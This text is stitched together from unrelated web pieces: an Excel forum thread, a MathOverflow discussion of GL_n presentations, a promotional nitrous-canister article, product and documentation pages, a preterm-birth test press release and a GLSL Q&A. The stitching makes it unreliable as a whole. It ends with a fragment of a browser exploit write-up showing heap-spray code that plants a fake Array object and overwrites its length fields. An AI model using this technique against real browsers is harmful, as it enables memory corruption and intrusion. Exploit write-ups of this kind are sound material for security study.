1862-63 33 Richmond Terrace (now 72 Richborne Terrace)
1865-69 315 Kennington Road
1871 102 Upper Kennington Lane (now the BP garage opposite Tescos on Kennington Lane)
1872 26 Osborne Terrace (now 55 Richborne Terrace)
1879-85 4 Meadow Road
1886 7 Camberwell Grove


doing stats and not including hidden rows or columns
gallan
Board Regular
Joined
May 27, 2007
Messages
79
I have columns of data (marks on assessments) that filter in various ways. When I filter I simply hide the rows that do not match the filter key. Then I want do stats on the visible data, eg averages, Standard Deviations etc. However Excel seems to include the hidden rows when I this. Is there a way to get Excel to ignore hidden rows in its calculations?
I could just copy the data on the visible rows to another worksheet, do the stats there and then copy it back to the appropriate cells but if there is a built in method I would like to know.
Thanks

Excel Facts
Which lookup functions find a value equal or greater than the lookup value?
MATCH uses -1 to find larger value (lookup table must be sorted ZA). XLOOKUP uses 1 to find values greater and does not need to be sorted.
Damon Ostrander
MrExcel MVP
Joined
Feb 17, 2002
Messages
4,239
Hi Gary,
Here is a way to make most Excel worksheet functions look at just the visible cells in a range. I make use of a user-defined function I call Vis(). As an example of its use, suppose you want to average the visible cells in the range B2:B200. Simply call the AVERAGE function like this:
=AVERAGE(Vis(B2:B200))
Here's the code for the Vis function.
Code:
Function Vis(Rin As Range) As Range
'Returns the subset of Rin that is visible
Dim Cell As Range
Application.Volatile
Set Vis = Nothing
For Each Cell In Rin
If Not (Cell.EntireRow.Hidden Or Cell.EntireColumn.Hidden) Then
If Vis Is Nothing Then
Set Vis = Cell
Else
Set Vis = Union(Vis, Cell)
End If
End If
Next Cell
End Function
This works with both hidden rows and hidden columns.
To install this function in your workbook, go to the Visual Basic Editor (keyboard Alt-TMV), insert a new macro module (Alt-IM), and paste this code into the Code pane.

Upvote 0
tusharm
MrExcel MVP
Joined
May 28, 2002
Messages
11,029
Check out the SUBTOTAL function. It supports 11 stats functions and it operates on either all cells or on only visible cells depending on the first argument. For more see Excel help.
I have columns of data (marks on assessments) that filter in various ways. When I filter I simply hide the rows that do not match the filter key. Then I want do stats on the visible data, eg averages, Standard Deviations etc. However Excel seems to include the hidden rows when I this. Is there a way to get Excel to ignore hidden rows in its calculations?
I could just copy the data on the visible rows to another worksheet, do the stats there and then copy it back to the appropriate cells but if there is a built in method I would like to know.
Thanks

Upvote 0
Forum statistics
Threads
1,191,166
Messages
5,985,050
Members
439,935
Latest member
Monty238
We've detected that you are using an adblocker.
We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel
Which adblocker are you using?
Disable AdBlock
Follow these easy steps to disable AdBlock
1)Click on the icon in the browser's toolbar.
2)Click on the icon in the browser's toolbar.
2)Click on the "Pause on this site" option.
Go back
Disable AdBlock Plus
Follow these easy steps to disable AdBlock Plus
1)Click on the icon in the browser's toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back
Disable uBlock Origin
Follow these easy steps to disable uBlock Origin
1)Click on the icon in the browser's toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Disable uBlock
Follow these easy steps to disable uBlock
1)Click on the icon in the browser's toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Top


Sign up ×
let $K$ be a field, $n \geq 1$. denote $E_{i,j}$ the elementary matrix having $1$ on the diagonale and in the entry $(i,j)$, and $E_i(a)$ the elementary matrix $diag(1,...,a,...,1)$. you know that $GL_n(K)$ is generated by these matrices, but what relations do we need in order to get a presentation for $GL_n(K)$?
here are some relations, which correspond to simple relations about row operations:
 - $E_i(1)=1$
 - $E_i(ab) = E_i(a) E_i(b)$
 - $E_i(a) E_j(b) = E_j(b) E_i(a)$
 - $(E_j(-1) E_{ij})^2=1$
 - $E_j(a+b)^{-1} E_{ij} E_j(a+b) = E_j(a)^{-1} E_{ij} E_j(b) E_i(a)^{-1} E_{ij} E_j(a)$
 - $ (E_{ji} E_{ij} E_{ji} E_j(-1))^2=1$
are these all relations? how can we prove that?
EDIT: Mariano has given a counterexample when $K = \mathbb{F}_2$. well, how can we fix this? add more relations? incorporate the structure of $K$ as a ring? what about concrete examples such as $K=\mathbb{Q}$?
share|cite|improve this question
One way of getting a presentation for a Lie group is exponentiating a presentation from the Lie algebra. For the Lie algebra, the presentation will not be hard to do (just take the Cartan subalgebra, $e_{i,i+1}$, and $e_{i+1,i}$), and you can work out the relations for them. It is not necessary to use the matrices corresponding to all $(i,j)$-s - that might overcomplicate things. – Vinoth Dec 30 '09 at 12:10
It seems to me that this should be a presentation of the simply connected form of the Lie group. But GL_2(R) is not simply connected: the universal cover is basically the metaplectic group. I could imagine much worse things could happen with nonarchimedean fields, but I don't know. – David Speyer Dec 30 '09 at 21:40
Heh. Is $\mathbb F_2$ not concrete? :) – Mariano Suárez-Alvarez Jan 4 '10 at 2:04
can you give a presentation for $GL_n(\mathbb{F}_2)$? – Martin Brandenburg Jan 4 '10 at 9:42
See Steinberg, Lectures on Chevalley groups. For $n=2$ extra relations are needed. This is related to David's comment. – Victor Protsak Jun 6 '10 at 6:03
4 Answers 4
This is a sideways answer.
Let $E_{ij}(a)=I+a E_{ij}$, for $i\neq j$ and $a\in A$.These matrices generate the conmutator subgroup $$E(n, A)=[\mathrm{GL}(n, A),\mathrm{GL}(n, A)]\subseteq\mathrm{GL}(n, A).$$ One can easily check that the obvious relations satisfied by these elements are $$E_{ij}(a)E_{ij}(b)=E_{ij}(a+b),$$ $$[E_{ij}(a),E_{jk}(a)]=E_{ik}(a) \mbox{ if $i\neq k$,}$$ $$[E_{ij}(a),E_{kl}(b)]=1 \mbox{ if $i\neq l$ and $j\neq k$.}$$ Yet the group presented by generators and this relations is not $E(n,A)$, but what we call the $*n$-th unstable Steinberg group* $\mathrm{St}(n, A)$ of $A$. In general, this is larger than (precisely, an extension of) $E(n,A)$.
(NB: The following paragraph has been edited to make it match reality. Thanks to Allen for pointing the mistake in the comment bellow)
This is seen, for example, because the map $\mathrm{St}(n, A)\to E(n,A)$ has a non-trivial kernel. Indeed, after passing to the direct limit as $n$ goes to infinity, the kernel of that map is precisely the second algebraic $K$-theory group of $A$, $K_2(A)$. Milnor shows in his book that $K_2(\mathbb{R})$ is uncountable, and describes $K_2(\mathbb Q)$ (he also shows that $K_2(\mathbb Z)$ is cyclic of order two, so this can be done for rings that are not fields too...)
A nice reference for all this is Jonathan Rosenberger's Algebraic $K$-theory and its applications, and there is John Milnor's Introduction to algebraic $K$-theory, which is also extremely nice.
A short intuitive description for $K_2(A)$ is: it measures how much more information is there in the elementary matrices of a ring which does not follow formally from the Steinberg relations.
share|cite|improve this answer
The kernel of the stabilized map $St(\infty,A)\to E(\infty,A)$ is $K_2(A)$, not $K_3(A)$. Milnor showed that $K_2(\mathbb Z)$ is cyclic of order 2. – Allen Hatcher Dec 30 '09 at 16:37
Suppose $R=\mathbb F_2$ is the field with two elements and $n=2$. Then we need not consider the matrices $E_i(a)$, for the only possible $a$ is $1$, so your group is generated by $\alpha=E_{12}$ and $\beta=E_{21}$. Your fourth relation implies that $$\alpha^2=\beta^2=1.$$ Your fifth equation is empty in this case (for it is only meaningful for when $a$ and $b$ are non-zero elements of the field which add up to a non-zero element of the field!) Finally, your sixth relation in this case tells us that $(\alpha\beta\alpha)^2=(\beta\alpha\beta)^2=1$, but these two equalities follow from the previous equation.
We thus see that the group generated by the $E_i(a)$'s and the $E_{ij}$ subject to your relations is, in this case, $$\langle\alpha,\beta:\alpha^2=\beta^2=1\rangle.$$ This is an infinite group, so it is not $\mathrm{GL}(2,\mathbb F_2)$.
Exactly the same reasoning shows that the same happens for all $n\geq 2$: you get free products of cyclic groups of order $2$.
NB: It wouldn't be the first time that $\mathbb F_2$ behaves differently from other fields... I doubt that is the case, and surely someone with enough determination will be able to use GAP to check whether the group given by your generators and relations is or not $\mathrm{GL}$, at least for other small fields...
share|cite|improve this answer
I suggest you give Mariano a check mark. MathOverflow does not function properly when you change a question substantially after it has been correctly answered.
Regarding your revised question, we can fix the presentation by throwing it away and using Steinberg's presentation, which works without problems. I couldn't find an online copy of his paper, but this 1971 article describes how to present the R-points of any semisimple simply connected Chevalley-Demazure group, for R any commutative ring.
I have heard that the presentation in the case of the general linear group is due to Schur, but I don't know a reference.
share|cite|improve this answer
You might want to look at Cohn's paper "On the structure of the ${\rm GL}_{2}$ of a ring", MR0207856.
share|cite|improve this answer
Your Answer


text:
In the world of gastronomy, innovation and creativity are key ingredients for crafting extraordinary culinary experiences. Among the many tools that have sparked a revolution in the culinary realm, nitrous canisters stand out as a game-changer. These small canisters, filled with nitrous oxide (N2O) gas, have found their way into the kitchens of professional chefs and home cooks alike. In this article, we will explore the wonders of nitrous canisters, understanding their versatility, culinary applications, and how they empower culinary enthusiasts to unleash their creativity.
1. The Versatility of Nitrous Canisters
Nitrous canisters have earned their reputation for versatility, offering an array of applications that extend beyond traditional whipped cream dispensing. These canisters have become a powerful tool for achieving various culinary feats, such as:
a) Whipped Cream Extravaganza
Whipped cream is just the beginning of what nitrous canisters can achieve. These handy tools can whip up cream, both sweet and savory mousses, foams, and even create visually stunning decorations for desserts.
b) Infused Delights
Nitrous canisters also allow culinary enthusiasts to infuse liquids, such as oils and spirits, with unique flavors. This infusion process enhances the taste profile of the dish and presents diners with a delightful surprise.
c) Effervescent Beverages
With the aid of nitrous canisters, chefs and mixologists can create effervescent cocktails and mocktails that tingle the taste buds and offer an elevated drinking experience.
2. The Magic of Gas Infusion
At the heart of nitrous canisters lies the magic of gas infusion. When a nitrous canister is activated, the gas dissolves into the liquid being prepared, creating tiny bubbles that alter the texture and mouthfeel of the end product. This transformative process opens up a world of possibilities for culinary experimentation and innovation.
3. Culinary Applications
Nitrous canisters have found a home in both professional kitchens and home cooking setups. Their versatility and ease of use make them an essential tool for culinary enthusiasts looking to elevate their dishes. Some popular culinary applications include:
a) Creating Velvety Textures
Nitrous canisters can turn liquid mixtures into velvety smooth textures, ideal for mousses, sauces, and creamy desserts.
b) Aerating Foams
By incorporating air into liquid preparations, nitrous canisters can create airy and light foams, adding elegance to dishes and beverages.
c) Cocktail Mixology
Mixologists use nitrous canisters to introduce fizz and texture into cocktails, creating unique drinking experiences.
Nitrous canisters have undoubtedly taken culinary creativity to new heights, offering a range of possibilities that ignite the imagination of chefs and home cooks alike. From whipped cream extravaganzas to effervescent cocktails, these small canisters of gas have the power to transform ordinary dishes into culinary masterpieces. As the culinary world continues to embrace innovation, nitrous canisters will remain an indispensable tool, empowering culinary enthusiasts to explore new realms of flavor and texture. Embrace the magic of nitrous canisters in your kitchen and embark on a journey of culinary exploration and delight.


Patient — Collections
Collections allow you to analyze population statistics, study variation, and establish benchmarks across a group of patients. A patient can belong to one or more collections, allowing you to analyze diverse but intersecting cross sections of the patients in your organization. The patient collection tab lists the collections to which the current patient belongs. Use this guide to learn about adding a patient to one or more collections in your organization.
Viewing Patient Collections
When you access a patient, click on the Collections tab to view the patient collections. The main content area is blank and is reserved for future patient collection content. On the left is the collections sidebar, which contains a list of the collections to which the patient belongs. A patient can be added to a collection with or without a representative patient object. If the representative object for a patient collection matches the primary patient object from the patient object hierarchy, it will appear as a standard list item. Otherwise, the collection will appear with a grayed out, italicized style.
Hovering over a grayed out collection allows you to see which patient object belongs to the collection.
The Primary Patient Object from the Patient Hierarchy
On the patient Browse tab, the "primary patient object" (or primary object) is the lowest active object in the patient hierarchy (active objects being those with green checkmarks). For example, in the first image below, the primary patient object is the dose, whereas in the second image, the primary patient object is the plan.
Updating Patient Collections
 1. With the Collections tab activated, press the Edit button at the top of the sidebar.
 2. Use the checkboxes aligned to the right of each row to select the collections to which you wish to add the patient. Note that checkboxes will be shown in the indeterminate state if the primary patient object (see above) does not match the representative entity for the patient in that collection.
 3. Press the Save button.
 4. Once you've read and understood the confirmation message, check the confirmation checkbox, and press the Save button.
Representative Patient Objects
Computed metrics, like those reported on patient and collection scorecards, are derived from a patient's dose. Therefore, it's usually best to use the patient dose as the representative patient object when adding patients to collections.
Was this article helpful?
0 out of 0 found this helpful
Have more questions? Submit a request
Article is closed for comments.


Developer Docs
The Jupyter widgets packages are developed in the git repository. See the issue tracker, README, and other Github documents for the most recent information.
Scope of ipywidgets
ipywidgets is a framework to provide eventful python objects that have a representation in the browser (see examples/Widget Basics.ipynb for more on the definition of widgets). This requires two components:
 1. The framework for widget interactions between the widgets represented in the Python kernel and the (javascript) representation of the widgets in the browser.
 2. A basic, lightweight set of form controls that use this framework, based on standard HTML form controls. These included controls include a text area, text box, select and multiselect controls, checkbox, etc. A few more advanced controls that are very popular are also included, such as a slider and basic tab panels.
The framework for building rich interactive objects is the foremost purpose of the ipywidgets project, and the set of included reference form controls is purposefully kept small and self-contained to serve as something like a reference implementation. We encourage and support a robust ecosystem of packages built on top of the ipywidgets framework to provide more complicated interactive objects, such as maps or 2d and 3d visualizations, or other form control systems built on a variety of popular Javascript frameworks such as Material or Vue.


text:
Order before 11th December for delivery before Christmas
Field Wildlife Mix is a traditional British mixed hedge that's suitable for most conditions including coastal and windy sites. Often used for field boundary hedging, allowing you to fade your garden into the countryside and provide a suitable habitat for wildlife. Now available to buy in easy 1 metre packs or discount volume packs. Each metre pack contains 5 plants. Simply plant 2 staggered rows mixing the plants to make a wonderful hedge. Each row should be 30cm apart and each plant 40cm apart in each row.
Field Wildlife Mix consisting of:
Hawthorn (Crataegus monogyna)
Blackthorn (Prunus spinosa)
Field Maple (Acer campestre)
Hazel (Corylus avellana)
The amount of each plant will vary depending on stock levels.
Growth rate: Medium 20-40cm per year
Overall height: Medium up to 5 metres
Position: Coastal, Sheltered, Full Sun, Full Shade, Exposed
Root Types: Bare Root, Bare Root with Rabbit Protection
Choose from our wide range of Field Wildlife Hedging Mix sizes and root types, or browse our other varieties of Native Mixed Hedging plants.
Check our range of Native Mixed Hedging or our other popular varieties of hedge that can be used as a great alternative to Field Wildlife Hedging Mix.
To learn more about Native Mixed Hedging, take a look at our helpful Hedging Guides & FAQ's


text:
Is pollution harmful to cyclists?
According to a new Inserm study published in January 2021, pollution is more harmful to cyclists and pedestrians than to motorists.
A number of studies in recent years have claimed that car drivers are more exposed to air pollution than users of open-air transport, including cyclists.
However, these studies only recorded pollutants captured in a static position at the level of the airways, without analysing the impact of physical effort on their inhalation. However, as soon as a person performs a physical activity, such as cycling or walking, their ventilation increases, which naturally increases the quantity of pollutants inhaled. The faster and harder you breathe, the more fine particles you breathe in. So if the concentration is higher in a car or tram, the amount of pollutants actually breathed in is much higher when cycling or walking.
A team of scientists led by Basile Chaix, director of research at Inserm, within the Pierre Louis Institute of Epidemiology and Public Health (Inserm/Sorbonne University), therefore looked at the impact of these parameters on exposure to soot carbon, an air pollutant produced by road traffic, in 283 participants over 6 days each. By taking into account the minute ventilation of each person in each segment of travel (estimated by means of an accelerometer measuring physical activity), the dose of soot carbon inhaled by the participants during each journey could be quantified.
The idea is not to ban or limit cycling or walking, but to alert once again to the urgent need to decarbonise cities by providing more space for soft mobility and reducing fine particle emissions.
How to protect cyclists from pollution?
In the meantime, wearing an anti-pollution mask like Frogmask is still a useful way to protect your airways. Frogmask's FFP2 filters filter particles down to 0.4µm and its unique fastening system behind the neck and ears makes it very comfortable to wear even for several hours a day.


Search for Terms:
Browse by Category:
Homemade Dividend
Homemade Dividend means dividend created by a stockholder through selling a portion of shares held. Its an opposition to a dividend received from the company that issued the stock. If investors want an income from their stocks, even if the company does not declare a dividend, they can sell a portion of their shares.
Additional - what is the meaning of Homemade Dividend?
For example if a stockholder owns 1000 shares, he can sell 10 shares to receive money equal to 1% dividend. After the sale the value of his stocks will be 1% less, but that would have been the same if the company had declared 1% dividend, because that also reduces the stock price.
Submit a Definition
Ask a Question
140 characters left
Newsletter cover


text:
By NASA Visible Earth
More than a million tons of rocks and dirt covered the road.
A large landslide has strewn debris over a stretch of California's Highway 1. On the night of May 20, 2017, more than a million tons of rocks and dirt spilled over the roadway, according to the California Department of Transportation.
The Operational Land Imager (OLI) on Landsat 8, acquired images of the area on April 20 and May 22, 2017. The center image, acquired by a multispectral imager on the European Space Agency's Sentinel-2 satellite, shows the same location as it appeared…
View original post 212 more words


Technical FAQs
Ask a Question
How do you wire a external 24vdc digital output from a PLC to the input of the ATV21 or 212 drive?
Issue:
How do you wire a external 24vdc digital output from a PLC to the input of the ATV21 or 212 drive?
Product Line:
Altivar ATV21 or ATV212
Environment:
All
Cause:
Needs to wire in an external 24vdc digital output from a PLC into the drive.
Resolution:
Make sure the Source, CLP, Sink dip switch is set to CLP.
Example of PLC with a sourcing output.
ON the ATV21 or ATV212 drive jumper PLC and CC together. Then wire the PLC and CC to 0V on the external PLC or Power supply.
Next run your external 24vdc digital output from your PLC controller to the F, R or RES inputs of the drive.
Example of PLC with a sinking output.
On the ATV21 or ATV212 drive jumper CC to 0V and jumper the ATVs PLC connection to external +24vdc supply.
The PLC controllers output will wire to F, R, RES inputs of the drive.
See attachment for example

Was this helpful?
What can we do to improve the information ?


text:
The PreTRM® Test is Now Commercially Available to Predict Risk Early in Pregnancy
SALT LAKE CITY, March 10, 2016 – Sera Prognostics, Inc., a women's healthcare company, today announced that clinical validation data from the 5,501 patient Proteomic Assessment of Preterm Risk (PAPR) study were published online in the American Journal of Obstetrics & Gynecology. The article presents the performance in a rigorous clinical validation of Sera's PreTRM® test for objectively and accurately predicting the risk of spontaneous preterm birth (sPTB) in asymptomatic pregnant women as early as 19 weeks of pregnancy.
The PreTRM test, now commercially available nationwide, is the first and only clinically validated blood test of its kind, based on a large prospective clinical study that is representative of single birth pregnancies occurring in the U.S.
Premature birth (defined as birth before 37 weeks) is the leading cause of death for newborns worldwide. According to the Centers for Disease Control and the March of Dimes, each year in the United States, approximately one in ten babies are born too early, and more than half of these premature babies are born to mothers with no known risk factors. In premature infants who survive, prematurity is a leading cause of long-term medical complications, including learning disabilities, cerebral palsy, chronic respiratory illness, intellectual disability, seizures, and vision and hearing loss. The costs of treating complications of premature birth in the U.S. were greater than $26B in 2005, with current costs estimated to be much higher.
"To date, physicians have had limited tools and methods to identify women who are at increased risk of preterm birth. The two best traditional predictors, prior preterm birth history or short cervical length, identify only a small percentage of women who deliver early. The great majority of women delivering prematurely present in labor, when options for managing their pregnancies are late and quite restricted," said John Elliott, MD, maternal-fetal medicine expert and Medical Director, Valley Perinatal Services, Phoenix, AZ. "The data supporting the PreTRM test, now published in AJOG, give clinicians confidence that this test can help identify a high percentage of these women who are at increased risk early in pregnancy before symptoms occur. Using the PreTRM test provides information I need to be proactive with pregnancies at increased risk and make more informed decisions in managing those pregnancies."
The PAPR study validated a signature based on two proteins that are highly predictive of preterm birth risk: IBP4, insulin-like growth factor binding protein 4, and SHBG, sex-hormone binding globulin, using a novel proteomic approach, and rigorously adhering to the authoritative Institute of Medicine guidelines for Omics prediction development. The outstanding performance of the proprietary classifier was independently validated, achieving an area under the ROC curve of 0.75 for delivery occurring before 37 weeks of pregnancy, and higher performance for predicting delivery occurring earlier (before 36 or 35 weeks of pregnancy), achieving statistical significance for each of the three predictions. These validation results show that the PreTRM test is statistically accurate in predicting the risk of sPTB in pregnant women as early as 19 weeks of pregnancy.
"As a company, Sera Prognostics is focused on addressing the enormous economic and healthcare burden that premature birth places on infants, their families and societies around the world." said Gregory Critchfield, M.D., CEO of Sera Prognostics. "We believe that the PreTRM test will become an important tool to identify women at high risk of delivering prematurely, so that earlier, proactive interventions become possible. Early in pregnancy, the PreTRM test improves the ability of doctors to determine who is at high risk, helping them to make more informed decisions in managing the risks of women who need greater attention. Building on Sera's innovative approaches, we are committed to improving neonatal health globally, through our direct participation in scientific studies, both in the U.S. and in underserved countries."
About the Proteomic Assessment of Preterm Risk (PAPR) Study
The PAPR study enrolled 5,501 pregnant women at 11 sites in the U.S. between 2011 and 2013. Sera scientists identified an optimal gestational age window during pregnancy at weeks 19 and 20, in which a two-protein signature (IBP4 and SHBG) was found to be highly predictive of spontaneous preterm birth. Following the discovery, verification and final development of the signature, the PreTRM test was validated in blood samples taken from an independent group of women. The results showed excellent prediction of preterm birth occurring before 37 weeks of pregnancy, and even higher predictive performance for delivery occurring before 36 and 35 weeks of pregnancy.
About Preterm Birth
According to the March of Dimes, globally preterm birth affects 15 million infants each year, with 1 million deaths occurring from prematurity. Of the 4 million babies born annually in the United States, approximately one in ten is born prematurely. Preterm birth is defined as any birth before 37 weeks gestation, and is the leading cause of illness and death in newborns. Preterm birth is associated with significantly increased risks of major long-term medical complications, including learning disabilities, cerebral palsy, chronic respiratory illness, intellectual disability, seizures, and vision difficulties and hearing loss. The complications from preterm birth can also extend beyond the first year of life, and can generate significant costs throughout the lives of affected children.
About the PreTRM® Test
The PreTRM test is an innovative new blood test that provides an early and individual risk prediction for spontaneous preterm birth in asymptomatic, singleton pregnancies. The PreTRM test can help physicians identify early in the pregnancy (during weeks 19 and 20 of gestation) which women are at increased risk for early delivery, enabling more informed management decisions based on each women's individual risk. Using proteomic technology, the PreTRM test measures and analyzes proteins in the blood that are predictive of preterm birth. Better understanding of the proteins expressed in pregnancy may lead to understanding the causes of preterm birth and making further advancements in prolonging gestational age and improving newborn outcomes.
For more information about the PreTRM® test, please visit _URL_ and the PreTRM test YouTube Channel. You can also join the conversation on Facebook and _USER_.
About Sera Prognostics, Inc.
Sera Prognostics is a private biotechnology company developing innovative diagnostic tests designed for the early prediction of preterm birth risk and other pregnancy complications. Sera's tests are designed to help better inform the care of a mother and her unborn child during pregnancy, and potentially lead to improved health. The company has assembled a strong management team and Board of Directors with significant clinical development and women's healthcare diagnostic experience. The Company is supported by a strong group of investors, including the Bill & Melinda Gates Foundation, Chione, Ltd, Domain Associates, InterWest Partners, Catalyst Health Ventures, UpStart Life Sciences Capital, and Osage University Partners. The Company is working with the Bill & Melinda Gates Foundation to translate its discoveries and develop technologies to benefit women and infants in underserved countries worldwide. Sera Prognostics is located in Salt Lake City, Utah. For more information, please visit the company's website at _URL_.


The Martian Sphinx (eBook)
by John Brunner
Format: eBook
File type: EPUB DRM
Available for immediate download
By the twenty-first century the world was drowning in its own population. A solution had to be found quickly - and it was, in 'gravi-power'. Wonderful, unending source of power - only the scientists knew that its use was reducing the Earth's distance from the sun at a dangerous rate. But if another planet's gravi-power could harnessed... An expedition was launched to Mars, known to be uninhabited - except that a woman was wandering around its surface who claimed she had come from another galaxy to warn Earth of a terrible menace, and there was a huge poly-hedron of metal emanting a force very much like that of gravipower. Someone else had discovered it! A thousand years ago, or now? Friend, or enemy? (First published 1965)
Product details
Other books by this author See all titles


text:
Educational Studies (General Education)
School of Education
Formative Assessment, Homework, Self-regulation
This study explored the formative learning cycle's ability to increase student confidence to create quality homework. Student from a socio-economically diverse school district in Western Pennsylvania reported their confidence levels on homework production on two surveys. The first survey provided a rapid response at the end of lessons taught using the formative learning cycle. The second survey was completed at the end of the study window. The results from these surveys indicate a positive correlation between the formative learning cycle's ability to increase self-regulation processes to confidently produce quality homework.
Sapsara, J. (2015). An Investigation of the Impact of the Formative Learning Cycle on Student Self-Regulation to Confidently Produce Quality Homework (Doctoral dissertation, Duquesne University). Retrieved from _URL_


text:
- Shifts the bits of a number to the right.
- The number.
- The number of bits to shift.
shr() function takes a number and a bit count, and returns the result of shifting the bits of the number to the right by that count.
Numbers in PICO-8 are stored using a 32-bit fixed point format, with 16 bits for the integer portion, 16 bits for the fractional portion, and a Two's Complement representation for negative and positive values. Bit shifting uses the entire number representation. (See examples below.)
shr() performs an "arithmetic shift," which means that the sign of the number is preserved. Arithmetic right shift preserves the highest bit while also shifting a copy of it to the right, which effectively preserves the sign in Two's Complement representation.
The alternative to arithmetic shift is "logical shift." See lshr().
Superseded by >> operator Edit
>> operator added in 0.2.0 performs the same function as
shr() and is now the recommended way to shift bits right, as it uses fewer tokens, costs fewer cycles at runtime, and runs on the real host CPU much more efficiently. Simply replace
-- 8 = 0b00001000 binary -- 1 = 0b00000001 binary print(shr(8, 3)) -- 1 -- 1.000 = 0b0001.0000 binary -- 0.125 = 0b0000.0010 binary print(shr(1, 3)) -- 0.125 -- -1.000 = 0b1111111111111111.0 binary (two's complement) -- -0.125 = 0b1111111111111111.111 binary print(shr(-1,3)) -- -0.125 print(8 >> 3) -- 1, preferred method


Sign up ×
I'm trying to wrap my head around shaders in GLSL, and I've found some useful resources and tutorials, but I keep running into a wall for something that ought to be fundamental and trivial: how does my fragment shader retrieve the color of the current fragment?
You set the final color by saying gl_FragColor = whatever, but apparently that's an output-only value. How do you get the original color of the input so you can perform calculations on it? That's got to be in a variable somewhere, but if anyone out there knows its name, they don't seem to have recorded it in any tutorial or documentation that I've run across so far, and it's driving me up the wall.
share|improve this question
"Original color of the input" : do you mean the material properties assigned to your fragment (texture, diffusecolor..)? – DamienD Apr 30 '10 at 11:49
7 Answers 7
up vote 13 down vote accepted
The fragment shader receives gl_Color and gl_SecondaryColor as vertex attributes. It also gets four varying variables: gl_FrontColor, gl_FrontSecondaryColor, gl_BackColor, and gl_BackSecondaryColor that it can write values to. If you want to pass the original colors straight through, you'd do something like:
gl_FrontColor = gl_Color;
gl_FrontSecondaryColor = gl_SecondaryColor;
gl_BackColor = gl_Color;
gl_BackSecondaryColor = gl_SecondaryColor;
Fixed functionality in the pipeline following the vertex shader will then clamp these to the range [0..1], and figure out whether the vertex is front-facing or back-facing. It will then interpolate the chosen (front or back) color like usual. The fragment shader will then receive the chosen, clamped, interpolated colors as gl_Color and gl_SecondaryColor.
For example, if you drew the standard "death triangle" like:
 glColor3f(0.0f, 0.0f, 1.0f);
 glVertex3f(-1.0f, 0.0f, -1.0f);
 glColor3f(0.0f, 1.0f, 0.0f);
 glVertex3f(1.0f, 0.0f, -1.0f);
 glColor3f(1.0f, 0.0f, 0.0f);
 glVertex3d(0.0, -1.0, -1.0);
Then a vertex shader like this:
void main(void) {
 gl_Position = ftransform();
 gl_FrontColor = gl_Color;
with a fragment shader like this:
void main() {
 gl_FragColor = gl_Color;
will transmit the colors through, just like if you were using the fixed-functionality pipeline.
share|improve this answer
Most everything you are doing is deprecated after version 120. In fact, not only warnings, but errors. Also won't work with OpenGL ES 2.0 (also going away in 4.x?) – user697111 Apr 26 '11 at 2:54
If you want to do mult-pass rendering, i.e. if you have rendered to the framebuffer and want to to a second render pass where you use the previous rendering than the answer is:
 1. Render the first pass to a texture
 2. Bind this texture for the second pass
 3. Access the privously rendered pixel in the shader
Shader code for 3.2:
uniform sampler2D mytex; // texture with the previous render pass
layout(pixel_center_integer) in vec4 gl_FragCoord;
// will give the screen position of the current fragment
void main()
 // convert fragment position to integers
 ivec2 screenpos = ivec2(gl_FragCoord.xy);
 // look up result from previous render pass in the texture
 vec4 color = texelFetch(mytex, screenpos, 0);
 // now use the value from the previous render pass...
Another methods of processing a rendered image would be OpenCL with OpenGL -> OpenCL interop. This allows more CPU like computationing.
share|improve this answer
You need to sample texture at current pixel coordinates, something like this
vec4 pixel_color = texture2D(tex, gl_TexCoord[0].xy);
Note,- as i've seen texture2D is deprecated in GLSL 4.00 specification - just look for similar texture... fetch functions.
Also sometimes it is better to supply your own pixel coordinates instead of gl_TexCoord[0].xy - in that case write vertex shader something like:
varying vec2 texCoord;
void main(void)
 gl_Position = vec4(gl_Vertex.xy, 0.0, 1.0 );
 texCoord = 0.5 * gl_Position.xy + vec2(0.5);
And in fragment shader use that texCoord variable instead of gl_TexCoord[0].xy.
Good luck.
share|improve this answer
The entire point of your fragment shader is to decide what the output color is. How you do that depends on what you are trying to do.
You might choose to set things up so that you get an interpolated color based on the output of the vertex shader, but a more common approach would be to perform a texture lookup in the fragment shader using texture coordinates passed in the from the vertex shader interpolants. You would then modify the result of your texture lookup according to your chosen lighting calculations and whatever else your shader is meant to do and then write it into gl_FragColor.
share|improve this answer
If what you're calling "current value of the fragment" is the pixel color value that was in the render target before your fragment shader runs, then no, it is not available.
The main reason for that is that potentially, at the time your fragment shader runs, it is not known yet. Fragment shaders run in parallel, potentially (depending on which hardware) affecting the same pixel, and a separate block, reading from some sort of FIFO, is usually responsible to merge those together later on. That merging is called "Blending", and is not part of the programmable pipeline yet. It's fixed function, but it does have a number of different ways to combine what your fragment shader generated with the previous color value of the pixel.
share|improve this answer
The answer is... you always have access to the underlying pixel info after the shader runs. If your material is transparent the blending stage of the pipeline will combine the output all shaders.
Generally objects are blended in the order that they are added to a scene, unless they have been ordered by a z-buffering algo. If not, you must add your opaque objects first, then carefully add your transparent objects in the order to be blended.
Setting the SRC and DST blending functions for transparent objects gives you to access the previous blend in many different ways.
You can use the alpha property of your output color here to do really fancy blending!
share|improve this answer
Some say it cannot be done, but I say this works for me:
//Toggle blending in one sense, while always disabling it in the other.
void enableColorPassing(BOOL enable) {
 //This will toggle blending - and what gl_FragColor is set to upon shader execution
 enable? glEnable(GL_BLEND) : glDisable(GL_BLEND);
 //Tells gl - "When blending, change nothing"
 glBlendFunc(GL_ONE, GL_ZERO);
After that call, gl_FragColor will equal the color buffer's clear color the first time the shader runs on each pixel, and the output each run will be the new input upon each successive run.
Well, at least it works for me.
share|improve this answer
-1: For "it works for me" nonsense without even bothering to say what hardware you're actually using. Also, for endorsing undefined behavior without bothering to say what hardware you're using that does this. – Nicol Bolas Nov 9 '12 at 5:18
That must be an FSM* pipeline. *flying spaghetti monster – Dominic Cerisano Sep 24 '13 at 12:05
Your Answer


80-0x10+8, 0xffff, true);
 // ArrayObject.elements_.length
 dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+0xc, 0xffff, true);
The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the FAKE_ARRAY_OBJ_ADDR global variable.
Each of the sprayed ArrayBuffer objects contain a crafted fake Array object [2]. To craft a fake Array objects not all the internal structures need to be provided. However, there are some important values that need to be chosen carefully:
